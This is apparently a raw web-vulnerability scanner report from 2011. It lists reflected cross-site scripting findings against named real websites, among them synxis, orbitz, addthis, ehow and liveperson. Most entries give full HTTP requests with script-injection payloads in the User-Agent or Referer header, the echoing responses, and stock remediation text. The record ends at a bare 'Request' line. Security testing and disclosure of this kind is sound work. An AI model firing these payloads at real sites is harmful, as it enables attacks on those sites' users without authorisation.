GET /v1/profile.json?api_key=6332f8b7316a4d1284e9c1217a367347&callback=Demdex.parseBizo HTTP/1.1 Host: api.bizographics.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f; BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KRShFj6bKbiijaj5XcunNcMDa7Re6IGD4lLFCw41jWbyOAd6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtT8sOM0TiiisRAyMfy5dfAVhDEVUJBxdqAyAsVh4uYPLmIgwbisDgBSipgnUuNumFpPoipAipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie; Referer: efdaf<script>alert(1)</script>44c02aedbc6
Response
HTTP/1.1 403 Forbidden Cache-Control: no-cache Content-Type: text/plain Date: Wed, 02 Feb 2011 16:18:36 GMT P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Pragma: no-cache Server: nginx/0.7.61 Content-Length: 58 Connection: Close
The value of the User-Agent HTTP header is copied into an HTML comment. The payload a5b3f--><script>alert(1)</script>e7875b8ff69 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /XBE/Popups/InfoPopup.aspx?hotel=11536&hotelgroup=5303&lang=1&view=28&shell=9adc412feca446b4bdccea9aa721a765&template=1e8778f11833464cb60925c02a37f3dd&room=ST1K&media=2666f74ea41c4e9db3ec8835549ad2a4&TB_iframe=true&width=400&height=400&modal=false HTTP/1.1 Host: gc.synxis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a5b3f--><script>alert(1)</script>e7875b8ff69 Connection: close Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; ASP.NET_SessionId=jtlir345s4fdq0eiwrrnxp45; mbox=check#true#1296574114|session#1296573995979-796819#1296575914;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7852 Date: Tue, 01 Feb 2011 15:39:03 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
<script type="text/javascript" src=".. ...[SNIP]... <!-- Processing Time: 0.097028638920135 | Server: 32 | Client IP: 96.17.171.172 | Client User Agent: "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a5b3f--><script>alert(1)</script>e7875b8ff69" -->
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 9223a<a>b8515daf8ba was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /XBE/Popups/InfoPopup.aspx HTTP/1.1 Host: gc.synxis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)9223a<a>b8515daf8ba Connection: close Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; ASP.NET_SessionId=jtlir345s4fdq0eiwrrnxp45; mbox=check#true#1296574114|session#1296573995979-796819#1296575914;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 174 Vary: Accept-Encoding Date: Tue, 01 Feb 2011 15:35:41 GMT Connection: close
<!-- Processing Time: 0.018823581552306 | Server: 32 | Client IP: 69.31.59.40 | Client User Agent: "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)9223a<a>b8515daf8ba" -->
The value of the User-Agent HTTP header is copied into an HTML comment. The payload 2736c--><script>alert(1)</script>d72e32cd699 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /rez.aspx?&Chain=5303&start=16& HTTP/1.1 Host: gc.synxis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)2736c--><script>alert(1)</script>d72e32cd699 Connection: close Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; ASP.NET_SessionId=jtlir345s4fdq0eiwrrnxp45; mbox=check#true#1296574114|session#1296573995979-796819#1296575914;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Date: Tue, 01 Feb 2011 15:35:36 GMT Connection: close Connection: Transfer-Encoding Content-Length: 62635
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of the User-Agent HTTP header is copied into an HTML comment. The payload a2727--><script>alert(1)</script>35328277103 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /xbe/rez.aspx?Chain=5303&start=1&hotel=11536&arrive=02%2F01%2F2011&nights=1&adult=1&child=0&rooms=1&group=&promo=ushoyt&iata=&step=2&mboxSession=1296573995979-796819 HTTP/1.1 Host: gc.synxis.com Connection: keep-alive Referer: http://www.millenniumhotels.com/millenniumboston/index.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10a2727--><script>alert(1)</script>35328277103 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2932"><script>alert(1)</script>4fce17b3452 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /lab/innerfade/ HTTP/1.1 Host: medienfreunde.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: b2932"><script>alert(1)</script>4fce17b3452
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 14:32:25 GMT Server: Apache X-Powered-By: PHP/5.2.10 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 14717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de"> <!-- saved from url=(0013)about:internet --> <hea ...[SNIP]... <iframe src="http://pingomatic.com/ping/?title=Flyer&blogurl=b2932"><script>alert(1)</script>4fce17b3452&rssurl=&chk_weblogscom=on&chk_blogs=on&chk_technorati=on&chk_feedburner=on&chk_syndic8=on&chk_newsgator=on&chk_feedster=on&chk_myyahoo=on&chk_pubsubcom=on&chk_blogdigger=on&chk_blogstreet=on&chk_moreo ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 40b07'-alert(1)-'d5a8a9aeffc was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ref/lppb.asp HTTP/1.1 Host: solutions.liveperson.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=40b07'-alert(1)-'d5a8a9aeffc
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:41:27 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Content-Length: 3686 Content-Type: text/html Set-Cookie: visitor=ref=http%3A%2F%2Fwww%2Egoogle%2Ecom%2Fsearch%3Fhl%3Den%26q%3D40b07%27%2Dalert%281%29%2D%27d5a8a9aeffc; expires=Tue, 10-Jan-2012 05:00:00 GMT; domain=.liveperson.com; path=/ Set-Cookie: ASPSESSIONIDQSDTDCQS=MHEFFOICFMALHBAGDLCEHAGC; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head>
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2a26"><script>alert(1)</script>4e16ea664ee was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: updates.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=e2a26"><script>alert(1)</script>4e16ea664ee
Response
HTTP/1.1 200 OK Server: nginx/0.6.35 Date: Wed, 02 Feb 2011 15:42:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: traveler_update_visitor=B704221B7BC5130; path=/; expires=Tue, 02 Feb 2016 15:42:40 GMT Set-Cookie: traveler_update_session=BAh7CToOcmV0dXJuX3RvIgYvOhFsYXN0X3JlcXVlc3RABjoQbGFzdF92aWV3%250AZWRABiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7AA%253D%253D--1848cb98c769e595ff92d0c71ba7b529ea2e7b8c; path=/ Status: 200 OK X-Runtime: 0.05162 ETag: "e3805ab73252db7f49504ae9518d880e" Cache-Control: private, max-age=0, must-revalidate Content-Length: 32775
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c422"><script>alert(1)</script>79e384fb3bc was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /flight_status HTTP/1.1 Host: updates.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=6c422"><script>alert(1)</script>79e384fb3bc
Response
HTTP/1.1 200 OK Server: nginx/0.6.35 Date: Wed, 02 Feb 2011 15:42:42 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: traveler_update_visitor=ED7A2C9950CD932; path=/; expires=Tue, 02 Feb 2016 15:42:42 GMT Set-Cookie: traveler_update_session=BAh7CToOcmV0dXJuX3RvIhMvZmxpZ2h0X3N0YXR1czoRbGFzdF9yZXF1ZXN0%250AQAY6EGxhc3Rfdmlld2VkQAYiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6%250AOkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA%253D--2e47e384fcf267e3ac43c1147866adf06a386ff2; path=/ Status: 200 OK X-Runtime: 0.01426 ETag: "50fd0e0e1c4599312e9b792d296674b6" Cache-Control: private, max-age=0, must-revalidate Content-Length: 20517
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc7c2"><script>alert(1)</script>4d661957df4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=cc7c2"><script>alert(1)</script>4d661957df4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:38:34 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/ Content-Length: 94428
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <input type="hidden" id="url" name="url" value="http://www.google.com/search?hl=en&q=cc7c2"><script>alert(1)</script>4d661957df4" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 353f3<script>alert(1)</script>db380bfc2e6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=353f3<script>alert(1)</script>db380bfc2e6
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:38:34 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 94414
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <h4>353f3<script>alert(1)</script>db380bfc2e6 - Google search</h4> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f4484</script><script>alert(1)</script>1cc7f90f443 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.ehow.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Referer: http://www.google.com/search?hl=en&q=f4484</script><script>alert(1)</script>1cc7f90f443
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>eHow | How To Do Just About Everything! | How To ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 20a6f</script><script>alert(1)</script>bf656815b44 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /MailingList.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=20a6f</script><script>alert(1)</script>bf656815b44
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:28 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 31410
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>eHow of the Day | eHow.com</title> <meta chars ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 94767</script><script>alert(1)</script>72faf05749a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about_us/about_us.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=94767</script><script>alert(1)</script>72faf05749a
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:59 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 32688
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fdb2f</script><script>alert(1)</script>413feb209a8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about_us/contact_us.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=fdb2f</script><script>alert(1)</script>413feb209a8
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:59 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 31984
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8cd7d</script><script>alert(1)</script>84ee8a351de was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about_us/faq_ehow.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=8cd7d</script><script>alert(1)</script>84ee8a351de
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:00 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 49896
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7e8b6</script><script>alert(1)</script>e22c3df7afd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about_us/link_to_us.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=7e8b6</script><script>alert(1)</script>e22c3df7afd
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:58 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 31379
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Link to eHow | eHow.com</title> <meta c ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3df8</script><script>alert(1)</script>1e4d372cf6c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
